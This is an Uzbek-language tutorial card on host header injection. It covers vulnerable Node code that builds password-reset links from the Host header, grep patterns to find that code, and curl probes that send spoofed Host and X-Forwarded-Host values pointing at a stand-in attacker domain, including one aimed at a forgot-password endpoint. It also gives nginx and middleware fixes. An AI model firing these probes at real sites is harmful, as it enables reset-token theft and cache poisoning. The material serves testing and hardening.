🖥
Host Header Injection
Sarlavha orqali domen
1
Maqsad
sarlavha orqali domenni almashtirishServer Host sarlavhasiga ishonib, undan pochta havolasi,
ogohlantirish yoki kesh kalitini yasaydi. Hujumchi boshqa domen yoki
`@ orqali e-posta reset havolasini o'z domeniga yuboradi.
2
Tushuntirish
// XAVFLI const link = `https://${{req.headers.host}}/reset?token=${{t}}`; sendMail(user.email, link); // Host = ihlonchilik.uz bo'lsa // TO'G'RI const BASE = process.env.PUBLIC_URL; // https://meeshar.uz sendMail(user.email, `${BASE}/reset?token=${{t}}`);
Eng xavfli holat
Host: meeshar.uz@zararli.uz — ba'zi
parser'lar @ dan keyingi qismni domen deb oladi. Yoki
X-Forwarded-Host boshqarilishi mumkin.
3
Qanday aniqlanadi
# 1) req.headers.host ishlatilishi grep -rnE "req\.headers\[?.?host|headers\.host|x-forwarded-host|req\.get\(.host" src/ # 2) pochta havolalari qayerda yig'iladi grep -rnE "\$\{?(req\.headers\.host|req\.get\('host'\))" src/ | head
4
Buyruqlar
# 1) Host ni almashtirish curl -s -D- -o /dev/null https://site.uz/ -H "Host: zararli.uz" | head -5 curl -s https://site.uz/ -H "Host: zararli.uz" | grep -iE "zararli\.uz" | head # 2) parol tiklash havolasiga ta'sir curl -s -X POST https://site.uz/api/auth/forgot-password \ -H "Host: zararli.uz" -H "Content-Type: application/json" \ -d '{"email":"sinov@site.uz"}' | jq . // keyin "zararli.uz" serveringizga email logini tekshiring # 3) @ hiylasi curl -s -D- -o /dev/null https://site.uz/ -H "Host: site.uz@zararli.uz" curl -s -D- -o /dev/null https://site.uz/ -H "Host: site.uz#@zararli.uz" # 4) X-Forwarded-Host (proksi orqasida) curl -s -D- -o /dev/null https://site.uz/ -H "X-Forwarded-Host: zararli.uz" curl -s -D- -o /dev/null https://site.uz/ -H "X-Original-URL: http://zararli.uz" # 5) kesh kalitida (cache poisoning) curl -s -D- https://site.uz/ -H "Host: zararli.uz" | grep -iE "x-cache|age|vary|etag" # 6) absolute URL lar curl -s https://site.uz/ -H "Host: zararli.uz" | grep -oE "https?://[a-z0-9.-]+" | sort -u | head
5
Natija
✓ MUvaffaqiyat — hujum ISHLADI
| Server javobi | Nima degani |
|---|---|
Javobda `zararli.uz` havolasi chiqdi | **Host injection** |
Tiklash xabari o'sha domenga yuborildi | **Token o'g'irlash mumkin** |
`site.uz@zararli.uz` qabul qilindi | **Parser hiylasi** |
Kesh kaliti Host'dan yasaldi | **Cache poisoning** |
Absolute URL'lar boshqa domenni ko'rsatdi | **Ta'sir bor** |
✗ Rad etish — hujum ISHLAMADI
| Server javobi | Nima degani |
|---|---|
`site.uz` qolgan, domen o'zgarmagan | **To'g'ri** |
Domen `process.env` dan olinadi | **Xavfsiz** |
Proxy'ga `proxy_set_header Host $host` qo'yilgan | **To'g'ri** |
6
Zararni yopish
1. Domenni koddan emas, sozlamadan
const BASE = process.env.PUBLIC_URL; // https://meeshar.uz
mail(user.email, `${BASE}/reset?token=${{t}}`);
canonical(req, BASE);
2. nginx — Host'ni majburlash
server_name meeshar.uz www.meeshar.uz; proxy_set_header Host $host; // $http_host EMAS proxy_set_header X-Forwarded-Host $host; // no $host → mijoz yuborgan qiymat o'tmaydi
3. Kesh kaliti faqat ochiq maydonlardan
const key = `page:${{req.query.lang}}`; // Host EMAS
4. Node da ishonchsiz sarlavhalarni tozalash
app.set('trust proxy', 1); // faqat o'z proksimiz
app.disable('x-powered-by');
// middleware
app.use((req, res, next) => {{
['x-forwarded-host','x-original-host','x-rewrite-url']
.forEach(h => delete req.headers[h]);
next();
}});
7
Tekshirish ro'yxati
- Domen `PUBLIC_URL` dan olinadi
- nginx'da `proxy_set_header Host $host`
- `X-Forwarded-Host` ishlatilmaydi
- Kesh kalitida Host ishlatilmaydi
- `Host: site.uz@zararli.uz` rad etiladi